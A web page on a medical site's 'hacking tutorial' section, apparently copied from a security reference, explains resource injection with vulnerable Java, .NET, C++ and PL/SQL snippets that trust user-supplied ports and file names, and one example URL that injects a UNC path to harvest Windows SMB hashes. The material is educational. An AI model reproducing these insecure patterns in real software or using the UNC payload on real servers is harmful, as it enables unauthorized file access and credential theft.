• About WordPress
    • WordPress.org
    • Documentation
    • Learn WordPress
    • Support
    • Feedback
  • Log In
  • Register
RxHarun
Login / Register Login/Signup
  • Health (A – Z)
  • Drugs (A – Z)
  • Rx Cancer (A – Z)
  • Rx Neurology (A – Z)
  • Rx Urology
  • Rx Lab Test (A – Z)
  • Rx Shop (A – Z)
  • Rx iT World
  • Rx Foundation

Resource Injection

Dr. Harun Ar Rashid, MD - Arthritis, Bones, Joints Pain, Trauma, and Internal Medicine Specialist Dr. Harun Ar Rashid, MD - Arthritis, Bones, Joints Pain, Trauma, and Internal Medicine Specialist
10 Views
Rx iT World Hacking Tutorial

This attack consists of changing resource identifiers used by an application in order to perform a malicious task. When an application defines a resource type or location based on user input, such as a file name or port number, this data can be manipulated to execute or access different resources. The resource type affected by user input indicates the content type that may be exposed. For example, an application that permits input of special characters like period, slash, and backslash is risky when used in conjunction with methods that interact with the filesystem.

The resource injection attack differs from Path Manipulation as resource injection focuses on accessing resources other than the local filesystem, while Path Manipulation focuses on accessing the local filesystem.

Examples

Example 1

The following examples represent an application which gets a port number from an HTTP request and creates a socket with this port number without any validation. A user using a proxy can modify this port and obtain a direct connection (socket) with the server.

Java code:

String rPort = request.getParameter("remotePort"); ... ServerSocket srvr = new ServerSocket(rPort); Socket skt = srvr.accept();  ...

.Net code:

int rPort = Int32.Parse(Request.get_Item("remotePort ")); ... IPEndPoint endpoint = new IPEndPoint(address,rPort); socket = new Socket(endpoint.AddressFamily,  SocketType.Stream, ProtocolType.Tcp); socket.Connect(endpoint); ...

Example 2

This example is same as previous, but it gets port number from CGI requests using C++:

char* rPort = getenv("remotePort "); ... serv_addr.sin_port = htons(atoi(rPort)); if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)  error("ERROR connecting"); ...

Example 3

This example in PLSQL / TSQL gets a URL path from a CGI and downloads the file contained in it. If a user modifies the path or filename, it’s possible to download arbitrary files from server:

... filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2); WPG_DOCLOAD.download_file(filename);  ...

Example 4

This example shows a resource injection attack focused on obtaining Microsoft Windows SMB hashes from a remote server:

http://www.vulnerable.com/open.aspx?filename=\\192.168.1.2\test.txt

SaveSavedRemoved 0
Resource Injection
Previous

Repudiation Attack

Resource Injection
Next

Reverse Tabnabbing

Related Articles
Added to wishlistRemoved from wishlist 0
Transient Blockage of the Internal Iliac Artery

Transient Blockage of the Internal Iliac Artery

Added to wishlistRemoved from wishlist 0
GraphQL

GraphQL

Added to wishlistRemoved from wishlist 0
Forgot Password Service

Forgot Password Service

Added to wishlistRemoved from wishlist 0
File upload

File upload

      RxHarun
      Logo
      Register New Account
      Already have an account? Login
      Log In
      Lost Password?
      Don't have an account? Sign Up

      RxHarun

      AI Chat Bot

      Dorian

      Hey, how can I help you today?

      Powered by Elementor

      Click to start chat